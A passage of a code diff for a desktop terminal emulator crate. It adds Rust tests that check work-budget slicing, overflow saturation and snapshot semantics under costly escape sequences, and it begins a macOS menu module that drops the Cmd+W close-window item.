term.feed_fully(format!("\u{1b}[3g\u{1b}[1;{columns}H").as_bytes()); + term.reset_stats(); + + term.feed_fully(b"\x1b[65535Z"); + + assert_eq!(term.stats().completed_units, 1, "one escape, one callback"); + assert_eq!( + term.stats().completed_work, + 1 + (columns as u64 - 1), + "one failed scan over the whole prefix, then a permanent fixed \ + point: the charge is the escape plus that one scan. A loop that \ + kept going would charge this much per iteration, 65535 times", + ); + // The real guard on the loop: with a stop reachable, the charge must + // equal the distance actually travelled. A break-less loop scans the + // row 65535 times and charges for one crossing. + let (mut walk, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 0, + }, + Fences::ALL, + ); + // Default tabstops every 8: from the right margin a huge count walks + // to column 0, crossing every column on the way. + walk.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes()); + walk.reset_stats(); + walk.feed_fully(b"\x1b[65535Z"); + + assert_eq!(walk.term().grid().cursor.point.column.0, 0); + assert_eq!( + walk.stats().completed_work, + 1 + (columns as u64 - 1), + "the charge must be the distance travelled: one unit for the \ + escape plus one per column crossed", + ); + } +} + +/// CBT at column 0 is free, and stays free. +/// +/// Kills: removing the `before == 0` guard. Upstream has its own `col == 0` +/// break, so deleting the wrapper's copy is invisible to the cursor and +/// invisible to timing -- it only shows up as work charged for a scan over +/// zero cells that the wrapper attributed to itself. The left margin is also +/// the position both earlier sweeps of this op homed to, which is why it is +/// the position where a defect hides best. +#[test] +fn the_worst_atom_costs_nothing_at_the_left_margin() { + for columns in [80usize, 400] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 0, + }, + Fences::ALL, + ); + term.feed_fully(b"\x1b[3g\x1b[1;1H"); + term.reset_stats(); + term.feed_fully(b"\x1b[65535Z"); + + assert_eq!( + term.stats().completed_work, + 1, + "at column 0 there is nothing to the left to scan, so the escape \ + costs one unit and no cells", + ); + assert_eq!(term.term().grid().cursor.point.column.0, 0); + } +} + +/// The other adversary: every tabstop *set*, which maximises the number of +/// delegated single steps rather than the length of one scan. +/// +/// Kills: pricing CBT per-step-times-width. Cleared tabstops attack the +/// clamp; all-set attacks the break, forcing `columns - 1` steps of one +/// column each. The two layouts peak in different terms and neither may +/// exceed the bound, so both are here -- a suite that tested only the famous +/// one would miss the shape it chose against. +#[test] +fn the_worst_atom_is_bounded_under_the_layout_that_maximises_steps() { + for columns in [80usize, 400] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 100, + }, + Fences::ALL, + ); + // A tabstop in every column, then start from the right margin. + term.feed_fully(b"\x1b[3g"); + for c in 1..=columns { + term.feed_fully(format!("\u{1b}[1;{c}H\u{1b}H").as_bytes()); + } + term.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes()); + term.reset_stats(); + + term.feed_fully(b"\x1b[65535Z"); + + assert_eq!(term.stats().completed_units, 1); + assert_eq!( + term.stats().completed_work, + 1 + (columns as u64 - 1), + "with a stop in every column the walk crosses each of them once, \ + so the charge is exact: one unit for the escape plus one per \ + column crossed. An inequality here would not catch a 2x \ + overcharge -- which lands on 159, not 160, because the escape's \ + own unit is charged separately and is not doubled", + ); + assert_eq!( + term.term().grid().cursor.point.column.0, + 0, + "with a stop in every column the cursor must walk all the way", + ); + } +} + +/// Stopping CBT early does not change where the cursor lands. +/// +/// The companion to the two cost tests above: they assert the work fell, +/// this asserts the behaviour did not move. Kills: stopping at something that +/// is *not* a fixed point -- `min(N, 1)`, or breaking whenever a scan fails +/// even though an earlier step still had stops to find. Cases are the ones +/// the exhaustive probe found interesting: no stops, one stop mid-row, and +/// default stops, each from the right margin with a count past the width. +#[test] +fn stopping_the_worst_atom_early_preserves_its_semantics() { + let columns = 40usize; + let cursor_column = |setup: &str| -> usize { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 3, + scrollback: 0, + }, + Fences::ALL, + ); + term.feed_fully(setup.as_bytes()); + term.term().grid().cursor.point.column.0 + }; + + // No stops: the cursor cannot move, whatever the count. + assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[65535Z"), 39); + assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[40Z"), 39); + // One stop at column 20 (1-based 21): reachable once, then stuck. + let one_stop = "\u{1b}[3g\u{1b}[1;21H\u{1b}H\u{1b}[1;40H"; + assert_eq!( + cursor_column(&format!("{one_stop}\u{1b}[65535Z")), + cursor_column(&format!("{one_stop}\u{1b}[40Z")), + ); + // Default stops every 8: a large count walks all the way to column 0. + assert_eq!(cursor_column("\u{1b}[1;40H\u{1b}[65535Z"), 0); +} + +/// A stream of atoms each worth more than the whole budget still drains, and +/// every drain makes progress. +/// +/// The liveness half of the bound. `max_drain_work` says how much one drain +/// may cost; it says nothing about whether the loop terminates, and an +/// oversized atom is exactly where a work-denominated scheduler could refuse +/// to start one -- spending its budget checking, never advancing, and hanging +/// the terminal with a full tail. RIS on a 10k-scrollback grid is ~16x the +/// budget, so this is not hypothetical. +/// +/// Kills: any yield that can decline to start work -- a `width` that reaches +/// 0, a `remaining`-scaled slice that underflows to nothing, a guard that +/// skips a slice deemed too expensive for what is left of the budget. Each of +/// those is a plausible thing to reach for when an atom costs more than the +/// whole budget, and each hangs a terminal on legitimate input. +/// +/// Note on a mutant it does *not* kill: moving the budget check from after +/// the slice to before it is **equivalent**, not a defect -- `spent` is zero +/// at entry, so the first slice runs either way. Recorded because I wrote +/// this test believing it caught that, ran the mutant, and it lived. +#[test] +fn atoms_larger_than_the_budget_still_make_progress() { + for (columns, lines, scrollback) in [(80usize, 24usize, 10_000usize), (200, 50, 10_000)] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback, + }, + Fences::ALL, + ); + let atoms = 200usize; + let bound = max_drain_work(columns, lines, scrollback); + assert!( + bound > WORK_BUDGET * 4, + "this arm is only meaningful where one atom dwarfs the budget", + ); + + let mut more = term.feed(&b"\x1bc".repeat(atoms)); + // `feed` already drained once; seed the baseline with its work or the + // first delta measured below silently doubles. + let mut previous = term.stats().completed_work; + let mut worst = previous; + let mut calls = 1; + while more { + let before = term.pending_bytes(); + more = term.drain(); + assert!( + term.pending_bytes() < before, + "no progress: the tail stuck at {before} bytes", + ); + let now = term.stats().completed_work; + worst = worst.max(now - previous); + previous = now; + calls += 1; + assert!(calls < 10_000, "drain did not terminate"); + } + + assert_eq!(term.stats().completed_units, atoms as u64, "lost units"); + assert_eq!(term.pending_bytes(), 0); + assert!( + worst <= bound, + "{columns}x{lines}: worst drain spent {worst}, over the stated \ + bound {bound}", + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs b/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs new file mode 100644 index 0000000000..c70402d7cf --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs @@ -0,0 +1,399 @@ +//! Adversarial slicing cases for resize debt, oversized atoms, and arithmetic extremes. +//! +//! **This is half a suite.** The remaining work-bound cases live in +//! `slicing.rs`; the two files are one set of contracts split only for the +//! file-size ratchet. A mutation check scoped with `--test slicing_adversarial` +//! covers 4 of 76 package tests and can report a confident pass while the +//! killing fixture sits in the sibling file. Sizing from the whole budget does +//! exactly that, then dies under the package. +//! +//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`. + +use buzz_terminal::fences::{ + max_atom_work, max_drain_work, slice_bytes_remaining, Fences, WORK_BUDGET, +}; +use buzz_terminal::{Size, Terminal}; + +/// A scrollback change reprices RIS *and* the slicing derived from it. +/// +/// Kills: updating the feeder's columns and lines on resize but not its +/// scrollback -- and, separately, a repair that reprices the charge while +/// leaving slice width stale. Those are different failures and neither +/// observable sees the other: fix only the charge and the drain count stays +/// wrong; fix only the derivation and the charge stays wrong. +/// +/// Two properties, because one is not enough: +/// +/// * The exact RIS charge at the new depth. Direct, and it is what a +/// pricing-only repair passes. +/// * Equality with a terminal *constructed* at the new depth, across work +/// and drain count. A resized feeder that is genuinely repaired is +/// indistinguishable from one that was born there. This is stronger than a +/// hand-picked threshold and immune to `WORK_BUDGET`/`MIN_SLICE` moving, +/// since both arms move together -- and the sanity arm proves the +/// comparison is deterministic before it is used to judge anything. +/// +/// `completed_units` is deliberately *not* the discriminator here: it reads +/// 200 in both arms, because the same callbacks run either way and only their +/// cost and slicing differ. It is asserted anyway as the invariant that must +/// hold -- no unit lost or duplicated across a resize -- while carrying none +/// of the discrimination. +#[test] +fn a_scrollback_change_reprices_the_densest_atom_and_the_slicing() { + let shallow = Size { + columns: 200, + screen_lines: 50, + scrollback: 100, + }; + let deep = Size { + scrollback: 10_000, + ..shallow + }; + let cells = (deep.columns * deep.screen_lines) as u64; + + // Preconditions, asserted rather than assumed, because both are easy to + // break by "generalising" this fixture later: + // + // * The geometry must let the *scheduling* fields separate. They only do + // when the two depths land on different slice widths, and the deep side + // is always floored -- so the shallow side must not be. At 1600x50 the + // visible grid alone floors every depth from 0 upward, and three of the + // four observables below go silently inert. + // * The payload must be RIS. It is the only escape reaching the only + // weight carrying a scrollback term (`units::reset_state`); DECALN and + // every other atom are priced on cells or columns and are blind to + // depth, so a conforming repair would show work identical to the + // control and the assertions here would invert into false failures. + assert!( + slice_bytes_remaining( + shallow.columns, + shallow.screen_lines, + shallow.scrollback, + 0, + 0 + ) > 1, + "geometry cannot discriminate: the shallow arm is already floored", + ); + assert_eq!( + slice_bytes_remaining(deep.columns, deep.screen_lines, deep.scrollback, 0, 0), + 1, + ); + + // How a terminal at `size` retires 200 RIS: work, and how many + // acquisitions it took. Both are feeder behaviour, not helper output. + let run = |size: Size, resize_from: Option| { + let (mut term, _a) = Terminal::new(resize_from.unwrap_or(size), Fences::ALL); + if resize_from.is_some() { + term.resize(size); + } + term.reset_stats(); + let mut drains = 1; + let mut more = term.feed(&b"c".repeat(200)); + while more { + more = term.drain(); + drains += 1; + } + ( + term.stats().completed_units, + term.stats().completed_work, + drains, + ) + }; + + let control = run(deep, None); + let sanity = run(deep, None); + assert_eq!( + control, sanity, + "two terminals built the same way must agree before this comparison can judge anything", + ); + + let resized = run(deep, Some(shallow)); + assert_eq!(resized.0, 200, "no unit may be lost or duplicated"); + assert_eq!( + resized, control, + "a feeder resized to a depth must be indistinguishable from one constructed at it -- in charge and in how many acquisitions it took", + ); + + // The exact charge, stated rather than inferred from the equality: a + // repair that made both arms equally *wrong* would pass the comparison. + let (mut term, _a) = Terminal::new(shallow, Fences::ALL); + term.resize(deep); + term.reset_stats(); + term.feed_fully(b"c"); + assert_eq!( + term.stats().completed_work, + 2 * cells + (deep.scrollback * deep.columns) as u64, + ); + + // Shrinking retains the debt, and the fixture proves retention rather + // than merely permitting it. + // + // `>= fresh` alone is the predicate three of us proposed and all three + // withdrew: a feeder that dropped the debt reads *exactly* equal to a + // fresh shallow one, so `>=` passes on the unrepaired state. Strictness + // on the pricing field is what rejects it. The scheduling fields are + // asserted directionally with per-field signs -- `first_units` inverts, + // because a narrower slice retires fewer atoms per un-preemptable drain, + // which is the fence working -- but none of them is the discriminator: + // they separate only when the two depths straddle the slice floor, and + // `completed_work` separates at every positive depth gap. + // + // Every comparison is against the fresh control's own field, never a + // literal: a constant or geometry change must move both sides together, + // or the fixture starts asserting the arithmetic of the day it was + // written. + let measure = |term: &mut Terminal| { + term.reset_stats(); + let mut drains = 1; + let mut more = term.feed(&b"\x1bc".repeat(200)); + let first_units = term.stats().completed_units; + let first_pending = term.pending_bytes(); + while more { + more = term.drain(); + drains += 1; + } + ( + first_units, + first_pending, + drains, + term.stats().completed_units, + term.stats().completed_work, + ) + }; + + // The terminal under test stays alive past its measurement, so the + // geometry arm below runs on the feeder that actually shrank rather than + // on a lookalike that only ever grew. + let (mut shrunk_term, _a) = Terminal::new(shallow, Fences::ALL); + shrunk_term.resize(deep); + shrunk_term.resize(shallow); + let shrunk = measure(&mut shrunk_term); + + let (mut fresh_term, _a) = Terminal::new(shallow, Fences::ALL); + let fresh = measure(&mut fresh_term); + + assert_eq!( + shrunk.3, fresh.3, + "no unit may be lost on the way down either" + ); + assert!( + shrunk.4 > fresh.4, + "a feeder that has been deep must still price deep after shrinking: \ + {} against a fresh shallow {}. Equality here is the signature of a \ + feeder that dropped the debt, which is indistinguishable from one \ + that never had it", + shrunk.4, + fresh.4, + ); + assert!( + shrunk.0 <= fresh.0, + "narrower slices retire fewer atoms per drain: {} against {}", + shrunk.0, + fresh.0, + ); + assert!( + shrunk.1 >= fresh.1, + "and leave more pending after the first call: {} against {}", + shrunk.1, + fresh.1, + ); + assert!( + shrunk.2 >= fresh.2, + "and take more drains to finish: {} against {}", + shrunk.2, + fresh.2, + ); + + // The debt survives a later resize on a different axis. Two things make + // this arm bite, and it was inert without either: + // + // * It runs on the terminal that actually went shallow -> deep -> + // shallow. A lookalike that only ever grew passes it while an + // implementation that retains on shrink and drops on the next geometry + // change fails. + // * The resize carries the *shallow* depth. Passing the debt's own value + // back in means `max(debt, new)` and a plain assignment agree, so the + // arm cannot tell them apart -- which is how it survived a mutant that + // retained only when columns and lines were unchanged. + shrunk_term.resize(Size { + columns: shallow.columns * 2, + screen_lines: shallow.screen_lines, + scrollback: shallow.scrollback, + }); + shrunk_term.reset_stats(); + shrunk_term.feed_fully(b"\x1bc"); + assert_eq!( + shrunk_term.stats().completed_work, + 2 * (shallow.columns * 2 * shallow.screen_lines) as u64 + + (deep.scrollback * shallow.columns * 2) as u64, + "a columns resize must keep the deep scrollback debt, not fall back \ + to the current shallow depth", + ); +} + +/// One oversized atom per drain -- no callback runs after the one that +/// crosses the budget. +/// +/// Kills: sizing slices from the *whole* budget rather than what remains of +/// it. RIS at any real scrollback depth is worth more than an entire budget, +/// so a slice wide enough for several callbacks runs several: measured +/// `completed_units == 3` for `ESC c` followed by `Xmore`, where the law +/// permits exactly one. The fix makes slice width a function of `remaining`, +/// which is a single byte once an atom this size is in play. +/// +/// Also asserts the tail survives it: yielding after the crossing atom is +/// only correct if what follows is still parsed, exactly once. +#[test] +fn an_oversized_atom_yields_before_the_next_callback() { + let size = Size { + columns: 400, + screen_lines: 100, + scrollback: 10_000, + }; + let (mut term, _a) = Terminal::new(size, Fences::ALL); + let ris_work = + 2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64; + assert!( + ris_work > WORK_BUDGET, + "this arm needs an atom bigger than the whole budget", + ); + + let more = term.feed(b"\x1bcXmore"); + + assert!(more, "the drain must yield with a tail"); + assert_eq!( + term.stats().completed_units, + 1, + "exactly the crossing atom ran: a callback after it is post-atom \ + overrun, which is the thing the budget cannot preempt and therefore \ + must not start", + ); + assert_eq!(term.stats().completed_work, ris_work); + + while term.drain() {} + assert_eq!( + term.stats().completed_units, + 1 + 5, + "the five characters after it must still be parsed, exactly once", + ); + assert_eq!(term.pending_bytes(), 0); +} + +/// Extreme dimensions saturate rather than wrapping or panicking. +/// +/// Kills: `columns * lines` in `usize` before the cast. `Size` is unclamped +/// and reaches the weight path from a caller, so this product is a reachable +/// overflow -- a debug panic inside the accounting path, or a release wrap +/// that reports the most expensive callback in the emulator as one of the +/// cheapest. Saturating is the only one of the three that fails safe. +#[test] +fn extreme_dimensions_saturate_instead_of_wrapping() { + let huge = usize::MAX / 2; + assert_eq!(max_atom_work(huge, huge, huge), u64::MAX); + assert_eq!(max_drain_work(huge, huge, huge), u64::MAX); + + // The *direction* is the assertion, not merely the absence of a panic. + // A wrapping build does not produce a slightly-wrong bound, it produces a + // tiny one -- and `slice_bytes_remaining` divides the budget by it, so an + // undercharged atom yields an *oversized* slice exactly when the atom is + // most expensive. Wrapping inverts the fence. So: the widest possible + // atom must give the narrowest possible slice. + assert_eq!( + slice_bytes_remaining(huge, huge, huge, 0, 0), + 1, + "an overflowing grid must clamp to the smallest slice; a wrapped \ + `max_atom_work` would hand back a generous one", + ); + assert_eq!( + slice_bytes_remaining(huge, huge, huge, 0, 0), + 1, + "and the escape at the front of such a grid gets a single byte", + ); + + // The property behind those endpoints, and the stronger statement: a + // grid that costs more may never buy a wider slice. Endpoints pin the + // ends; only a sweep catches a non-monotone middle, and a wrap *is* a + // non-monotone middle -- it makes the worst grid look cheap and hands it + // the widest slice of all. + // Every axis independently: a wrap on any one of the three products is a + // non-monotone middle on that axis alone, and sweeping only scrollback + // would miss a truncating `columns * lines`. + for (axis, at) in [ + ( + "scrollback", + (|n| slice_bytes_remaining(200, 50, n, 0, 0)) as fn(usize) -> usize, + ), + ("columns", |n| slice_bytes_remaining(n.max(1), 50, 0, 0, 0)), + ("lines", |n| slice_bytes_remaining(200, n.max(1), 0, 0, 0)), + ] { + let mut previous = usize::MAX; + for exponent in 0..60 { + let width = at(1usize << exponent); + assert!( + width <= previous, + "slice widened from {previous} to {width} at {axis} \ + 2^{exponent}: more expensive grid, more generous slice", + ); + assert!(width >= 1); + previous = width; + } + } + + // Just past 32 bits on one axis: large enough that a narrowing cast + // shows (`1 << 32` truncates to 0 in `u32`, pricing an enormous grid at + // nothing), small enough that the honest answer is exact rather than + // saturated. Neither the extreme endpoints above nor the ordinary grids + // below can see this -- the endpoints saturate either way and the + // ordinary ones fit in 32 bits. + assert_eq!(max_atom_work(1 << 32, 1, 0), 2 * (1u64 << 32)); + assert_eq!(max_atom_work(1, 1 << 32, 0), 2 * (1u64 << 32)); + assert_eq!(max_atom_work(1, 1, 1 << 32), 2 + (1u64 << 32)); + + // Ordinary grids are untouched by the saturation: exact, not clamped. + assert_eq!(max_atom_work(80, 24, 0), 2 * 80 * 24); + assert_eq!(max_atom_work(80, 24, 100), 2 * 80 * 24 + 100 * 80); +} + +/// An escape split across slices keeps its escape metering. +/// +/// Kills: deciding "plain run or escape?" by looking only at the bytes ahead. +/// After a slice ending on a lone `ESC`, the next byte is `c` -- which looks +/// like ordinary text and is in fact a full grid reset. Meter it as text and +/// the oversized atom rides into a wide slice with whatever follows, which is +/// the post-atom overrun arriving through a different door. Found by the +/// oversized-atom fixture failing after I "optimised" the plain path, which +/// is the argument for keeping both. +#[test] +fn an_escape_split_across_slices_keeps_its_metering() { + let size = Size { + columns: 400, + screen_lines: 100, + scrollback: 10_000, + }; + let ris_work = + 2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64; + + // Deliver the escape one byte at a time, so the parser is left mid- + // sequence with a tail that begins on the continuation byte. + let (mut term, _a) = Terminal::new(size, Fences::ALL); + term.feed(b"\x1b"); + assert_eq!( + term.stats().completed_units, + 0, + "ESC alone dispatches nothing" + ); + + let more = term.feed(b"cXmore"); + + assert!(more, "the completed RIS must still yield with a tail"); + assert_eq!( + term.stats().completed_units, + 1, + "the continuation byte completed a grid reset; nothing may run after it", + ); + assert_eq!(term.stats().completed_work, ris_work); + + while term.drain() {} + assert_eq!(term.stats().completed_units, 1 + 5); + assert_eq!(term.pending_bytes(), 0); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs b/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs new file mode 100644 index 0000000000..a7305b52f9 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs @@ -0,0 +1,287 @@ +//! The attach contract: what a subscriber that arrives mid-stream is given, +//! and what taking it must not cost the subscriber already there. +//! +//! `render()` reports damage -- what changed since someone last looked. That +//! is the right thing for a steady-state renderer and the wrong thing for a +//! newcomer, who needs the screen as it stands. `snapshot()` supplies that, +//! and the delicate part is that it must do so *without* consuming damage: +//! two subscribers share one terminal, and damage is a single shared cursor. + +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel and every subsequent listener send silently fails. +fn terminal(columns: usize, screen_lines: usize) -> (SharedTerminal, Receiver) { + let size = Size { + columns, + screen_lines, + scrollback: 100, + }; + let (term, actions) = Terminal::new(size, Fences::ALL); + (SharedTerminal::new(term), actions) +} + +/// Collect the non-blank text of a frame's rows, for comparing what a +/// subscriber can actually see. +fn visible_text(frame: &buzz_terminal::damage::Frame) -> Vec { + frame + .rows + .iter() + .map(|row| { + row.spans + .iter() + .map(|span| span.text.as_str()) + .collect::() + .trim_end() + .to_string() + }) + .filter(|line| !line.is_empty()) + .collect() +} + +/// The reason `snapshot` exists. A subscriber that attaches mid-stream and +/// starts from `render()` is handed only what changes next -- with a quiet +/// terminal that is the cursor's line alone, so the scrollback-visible screen +/// never arrives. +#[test] +fn a_late_render_shows_only_the_next_change_but_a_snapshot_shows_the_screen() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"first\r\nsecond\r\nthird"); + + // The incumbent consumes the damage from that output. + let mut incumbent = Encoder::new(); + let seen = visible_text(&shared.render(&mut incumbent)); + assert_eq!(seen, vec!["first", "second", "third"]); + + // A newcomer rendering now sees essentially nothing: damage is spent. + let mut latecomer = Encoder::new(); + let by_render = visible_text(&shared.render(&mut latecomer)); + assert!( + !by_render.contains(&"first".to_string()), + "a late render cannot show scrollback it never saw damaged, got {by_render:?}" + ); + + // The same newcomer snapshotting sees the whole viewport. + let mut attaching = Encoder::new(); + let by_snapshot = shared.snapshot(&mut attaching); + assert_eq!( + visible_text(&by_snapshot), + vec!["first", "second", "third"], + "a snapshot must carry the visible viewport" + ); + assert!(by_snapshot.full, "a snapshot is a repaint"); +} + +/// **The law: `snapshot()` must not consume damage.** +/// +/// Two subscribers share one terminal and damage is one shared cursor, so a +/// snapshot taken for an attaching subscriber must leave the incumbent's +/// pending rows intact. A naive implementation that calls `damage()` passes a +/// full-frame test while freezing every other subscriber -- the newcomer looks +/// perfect and the incumbent silently stops updating. +/// +/// The interleaving is the point: write, snapshot, *then* let the incumbent +/// render. But the interleaving alone is not enough to discriminate, and the +/// reason is this module's own rule 2 -- `Term::damage()` marks the cursor +/// line on every call. So an incumbent owed only the line it is sitting on +/// gets that line back even when its damage was stolen, and a naive snapshot +/// passes. +/// +/// The owed row therefore has to be somewhere the cursor is *not*. Here row 0 +/// is rewritten and the cursor is parked on row 3, so a theft leaves the +/// incumbent holding a blank cursor line and nothing else. +#[test] +fn a_snapshot_does_not_steal_the_incumbents_damage() { + let (shared, _actions) = terminal(20, 4); + + // An established renderer, caught up to a quiet terminal. The initial + // content is shorter than its replacement so the rewrite below covers it + // completely and no tail of it survives. + let mut incumbent = Encoder::new(); + shared.feed_fully(b"old"); + let _ = shared.render(&mut incumbent); + + // Rewrite row 0, then park the cursor on row 3. The incumbent is now owed + // row 0, which is not the row the cursor will re-damage for free. + shared.feed_fully(b"\x1b[1;1HAFTER\x1b[4;1H"); + + // A second subscriber attaches and snapshots first. + let mut attaching = Encoder::new(); + let attached = shared.snapshot(&mut attaching); + assert_eq!( + visible_text(&attached), + vec!["AFTER"], + "the newcomer sees the whole screen" + ); + + // The incumbent must still be delivered row 0. + let follow_up = shared.render(&mut incumbent); + assert!( + follow_up.rows.iter().any(|row| row.line == 0), + "snapshot consumed the incumbent's damage: row 0 was never delivered, \ + got rows {:?}", + follow_up.rows.iter().map(|r| r.line).collect::>() + ); + assert!( + visible_text(&follow_up).contains(&"AFTER".to_string()), + "the incumbent must still see the row written before the snapshot, got {:?}", + visible_text(&follow_up) + ); +} + +/// A snapshot stamps the geometry it was captured under and resets the +/// consumer's dedup state, so an encoder reused across a resize cannot carry +/// hashes describing rows of a different width. +#[test] +fn a_snapshot_realigns_a_reused_encoders_dedup_state() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"wide enough line"); + + let mut encoder = Encoder::new(); + let before = shared.snapshot(&mut encoder); + assert_eq!(before.viewport.columns, 20); + let first_generation = before.viewport.generation; + + let resized = shared.resize(Size { + columns: 10, + screen_lines: 4, + scrollback: 100, + }); + assert_eq!(resized.columns, 10); + assert!( + resized.generation > first_generation, + "an applied resize advances the generation" + ); + + // Same encoder, new geometry: every row must be re-sent, not suppressed + // as unchanged against hashes taken at the old width. + let after = shared.snapshot(&mut encoder); + assert_eq!( + after.viewport.columns, 10, + "the capture-time grid is stamped" + ); + // Columns alone does not identify a grid. `Viewport`'s own doc says the + // three fields travel together *because* a consumer comparing two of the + // three can be wrong -- and this fixture used to compare one. A resize + // that changed only `screen_lines`, or 20 -> 10 -> 20, leaves columns + // matching while the generation has moved. `resize.rs` asserts this on + // `render()` frames five times and never once on a snapshot, which is + // what Sami's T3 mutant walked through; Mari's reattach reads this stamp. + assert_eq!( + after.viewport, resized, + "a snapshot stamps the identity of the grid it actually captured" + ); + assert!(after.full, "a snapshot is a repaint"); + assert!( + !after.rows.is_empty(), + "stale hashes must not suppress rows after a resize" + ); +} + +/// A snapshot carries *every* row of the viewport, including the last one, +/// and stamps the cursor plane truthfully. +/// +/// Both properties are asserted here rather than in the fixtures above +/// because of what those fixtures' helper hides: `visible_text` trims and +/// drops empty lines, so a capture that skipped the bottom row of the screen +/// reads identically to one that didn't whenever the content sits in the top +/// rows -- which it does in every other fixture in this file. Sami's T2 +/// mutant (`0..screen_lines - 1`) survived all four for exactly that reason. +/// So this fixture puts content on the last row and asserts the row *set*, +/// not the text. +/// +/// The cursor half is the same shape of gap: nothing checked that a snapshot's +/// cursor was the terminal's cursor rather than a plausible default. +#[test] +fn a_snapshot_carries_every_row_and_the_true_cursor() { + let (shared, _actions) = terminal(20, 4); + // Write the bottom row of the screen, then park the cursor at line 4, + // column 6 (1-based) -- row 3, column 5 to us. + shared.feed_fully(b"\x1b[4;1Hbottom\x1b[4;6H"); + + let mut attaching = Encoder::new(); + let frame = shared.snapshot(&mut attaching); + + let lines: Vec = frame.rows.iter().map(|row| row.line).collect(); + assert_eq!( + lines, + vec![0, 1, 2, 3], + "a snapshot must carry the whole viewport, last row included" + ); + assert!( + visible_text(&frame).contains(&"bottom".to_string()), + "content on the last row must reach an attaching subscriber, got {:?}", + visible_text(&frame) + ); + + assert_eq!(frame.cursor.line, 3, "the snapshot's cursor line is real"); + assert_eq!( + frame.cursor.column, 5, + "the snapshot's cursor column is real" + ); + assert!(frame.cursor.visible, "the cursor is shown by default"); + + // ...and a hidden cursor is reported hidden, so `visible` tracks the mode + // rather than being a constant that happens to match the default. + shared.feed_fully(b"\x1b[?25l"); + let mut second = Encoder::new(); + assert!( + !shared.snapshot(&mut second).cursor.visible, + "DECTCEM off must reach the attaching subscriber" + ); +} + +/// Taking a snapshot is billed to the renderer plane. +/// +/// The two planes are metered separately because pooling them lets the +/// reader's millions of fast acquires dilute the renderer's tail into a false +/// pass (`shared.rs` module docs). A full-grid copy is the single most +/// expensive thing that takes this lock, so misfiling it under the reader +/// would corrupt the very instrument the renderer's budget is judged by -- +/// and no fixture noticed until Sami's T4. +#[test] +fn a_snapshot_is_billed_to_the_renderer_plane() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"content"); + + shared.reader_acquire().reset(); + shared.renderer_acquire().reset(); + + let mut attaching = Encoder::new(); + let _ = shared.snapshot(&mut attaching); + + assert_eq!( + shared.renderer_acquire().snapshot().acquisitions, + 1, + "the snapshot's lock acquisition belongs to the renderer plane" + ); + assert_eq!( + shared.reader_acquire().snapshot().acquisitions, + 0, + "a full-grid copy must not be charged to the reader plane" + ); +} + +/// Two consecutive snapshots with no output between them still both carry the +/// screen. A snapshot is not a one-shot: reattach may happen repeatedly, and +/// nothing about the first may disarm the second. +#[test] +fn snapshots_are_repeatable() { + let (shared, _actions) = terminal(20, 4); + shared.feed_fully(b"persistent"); + + let mut first = Encoder::new(); + let mut second = Encoder::new(); + assert_eq!( + visible_text(&shared.snapshot(&mut first)), + vec!["persistent"] + ); + assert_eq!( + visible_text(&shared.snapshot(&mut second)), + vec!["persistent"], + "a second subscriber attaching later must see the same screen" + ); +} diff --git a/desktop/src-tauri/src/app_menu.rs b/desktop/src-tauri/src/app_menu.rs new file mode 100644 index 0000000000..e6d7944a10 --- /dev/null +++ b/desktop/src-tauri/src/app_menu.rs @@ -0,0 +1,115 @@ +//! The macOS application menu. +//! +//! Buzz never called `Builder::menu()`, so Tauri installed `Menu::default()` +//! for us (`tauri::app::Builder::build`, macOS arm). That default puts a +//! `close_window` item in both the File and Window submenus, and muda gives +//! that item a Cmd+W key equivalent bound to `performClose:`. +//! +//! Two consequences, both wrong for Buzz: +//! +//! 1. `CloseRequested` on the main window is intercepted in `lib.rs` and turned +//! into hide-to-tray, so Cmd+W never closed a window -- it hid the whole +//! app. That is already redundant with Cmd+H (Hide), which stays. +//! 2. macOS resolves a menu key equivalent before the webview receives any key +//! event, so Buzz Term could never bind Cmd+W to "close this terminal tab" +//! while the accelerator was claimed here. +//! +//! So this module builds the standard menu minus both `close_window` items. +//! Everything else matches `Menu::default()` deliberately: the goal is to drop +//! one item, not to design a menu. +//! +//! If hide-on-Cmd+W is ever wanted back in Buzz mode, the revisit path is to +//! restore the item and disable it while the terminal owns input (a disabled +//! item does not consume its key equivalent) -- at the cost of an owner->Rust +//! IPC hop this approach does not need. + +#[cfg(target_os = "macos")] +use tauri::menu::{ + AboutMetadata, Menu, PredefinedMenuItem, Submenu, HELP_SUBMENU_ID, WINDOW_SUBMENU_ID, +}; +#[cfg(target_os = "macos")] +use tauri::AppHandle; +use tauri::{Builder, Runtime}; + +/// Installs Buzz's menu, replacing the `Menu::default()` Tauri would otherwise +/// auto-install. A no-op off macOS, where that default is never created and +/// the Cmd+W accelerator does not exist. +pub fn install(builder: Builder) -> Builder { + #[cfg(target_os = "macos")] + let builder = builder.menu(build); + builder +} + +/// Mirrors `Menu::default()` with every `close_window` item omitted. +/// +/// The Window and Help submenus keep Tauri's well-known ids: `init_app_menu` +/// looks them up by id to call `set_as_windows_menu_for_nsapp` and +/// `set_as_help_menu_for_nsapp`, and 